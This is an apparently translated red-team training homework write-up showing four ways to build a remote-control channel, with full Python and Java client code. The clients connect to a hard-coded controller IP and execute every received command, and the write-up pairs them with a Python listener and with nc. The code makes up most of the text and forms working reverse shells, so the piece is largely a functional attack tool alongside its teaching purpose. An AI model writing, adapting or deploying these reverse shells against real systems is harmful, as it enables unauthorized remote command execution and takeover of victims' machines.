Article source | MS08067 red team training course No. 5
Author: Shan (5 participants of red team training course)
The idea of job is to realize the remote control of the control end (Server) to the controlled end (Client); In the job, we will use python code and java code to realize the controlled end, nc code and python code to realize the controlled end, and try different remote methods.
The technical content of this operation is not high, mainly focusing on the expansion of various ideas of remote control methods. The selection of homework is inseparable from the sharing of the technical crystallization of the teacher and the great God in the class.
The remote control process will be displayed in four ways:
Simple and diverse remote control implementation Level 1: Client(python) + NC Level 2: Client(python) + Server(python) Level 3: Client(java) + NC Level 4: Client(java) + Server(python)
Level 1: Client(python) + NC
Client code:
import socket import os def Client(): # AF_INET means using IPV4 protocol, SOCK_STREAM means to use TCP protocol s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: # The IP of the control end is written in the code in the form of hard coding, and the controlled end will actively connect to this IP s.connect(("192.168.181.145",5551)) except Exception as e: print("server not found or closed") while True: #Receive the input from the control end. 1024 represents 1024 buffer bytes command=s.recv(1024).decode() #Note here that exit should be followed by a newline character, otherwise exit will not be matched and will also be executed to the controlled end when the command is executed if command.lower()=='exit\n': break else: # Execute the command from the control end. Here, use OS System () and subprocess Popen can do the same result=os.popen(command,'r',1).read() try: # Return the result to the control end s.send(result.encode("UTF-8")) except Exception as e: s.send("command error".encode("UTF-8")) s.close() if __name__=='__main__': Client()
1. The control terminal (192.168.181.145) monitors the local port 5551:
2. The controlled end (192.168.181.189) executes python code:
3. The control terminal receives the request and inputs some commands:
4. You can see the information synchronization of the controlled end, and the unrecognized information will be displayed in the window. You can see that this method can not realize arbitrary code execution (such as creating files):
Level 2: Client(python) + Server(python)
You can see the communication processes of client and server in socket communication:
According to the above process, you can write the Server code:
import socket def Server(): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Bind 5551 port of native address s.bind(("",5551)) # The maximum number of connections allowed is 3 s.listen(3) # Waiting for the connection request of the controlled end conn,addr=s.accept() #print("Connected by "+addr) while True: command=input("Please enter a command\n") try: # print(command.encode()) # Send instructions to the controlled end conn.sendall(command.encode()) # Receive echo and display result=conn.recv(1024) print(result.decode()) except Exception as e: print("exception occurred") conn.close() s.close() if __name__=='__main__': Server()
Execute server Py and client Py, compared with nc, can realize the execution of more instructions (touch instruction):
Control end:
Controlled end:
Level 3: Client(java) + NC
The code is written by the teacher in class, but the ByteArrayToHexStr and HexStrToStr methods are not used. Instead, Base64 method is used to convert the received data in the form of byte array into string format. Here, the idea of a great God in the class is referred to
import java.io.BufferedReader; import java.io.DataOutputStream; import java.io.InputStream; import java.io.InputStreamReader; import java.net.Socket; import java.nio.charset.StandardCharsets; import java.util.Base64; public class App { public static void main(String[] args) { try { // Establish socket connection Socket socket = new Socket("192.168.181.189", 5678); while (true) { // Receive the transmission data of the control end and receive it in the form of inputstream InputStream inputStream = socket.getInputStream(); // byte by byte byte[] bytes = new byte[1]; String info = ""; while (true) { // If there's something in the stream if (inputStream.available() > 0) { //, read the information into the bytes array defined above inputStream.read(bytes); // It is modified here to convert the received data in the form of byte array into string format. Refer to the method of the great God in the class String hexStr = Base64.getEncoder().encodeToString(bytes); byte[] decoded = Base64.getDecoder().decode(hexStr); // info is the received command from the server in the form of string info += new String(decoded); // String hexStr = ByteArrayToHexStr(bytes); // info += HexStrToStr(hexStr); // If the contents of the stream are read if (inputStream.available() == 0) { //Remove the first space from the read content info = info.trim(); //If the content is an exit, end the program if (info.equals("exit")) { return; } try { //Command execution Process exec = Runtime.getRuntime().exec(info); // Read echo content InputStream results = exec.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(results)); // Ready to return data, the data output stream dataOutputStream is created DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream()); String line; // Add a newline character after the returned result to avoid visual confusion with the next user command while ((line = reader.readLine()) != null) { dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8)); // Empty buffer dataOutputStream.flush(); } exec.waitFor(); // And python The function of close() is the same results.close(); reader.close(); exec.destroy(); break; } catch (Exception e) { continue; } finally { info = ""; } } } } } } catch (Exception e) { e.printStackTrace(); } } }
1. The control end listens to the port, and the controlled end executes java code
2. It can be seen that the connection is successful. Execute the elastic calculator command at the control end:
The controlled end successfully pops up the calculator
Level 4: Client(java) + Server(python)
Start the above server(python):
Start the above controlled end (java):
It can be seen that arbitrary command execution can still be realized, and network communication does not distinguish between programming languages
Deficiency and improvement
Time is limited, and there are several points that need to be improved:
1. In Python code, the processing mechanism of illegal user input is not optimized
2. In Python code, command input cannot continue after entering instructions without echo (such as calc and touch)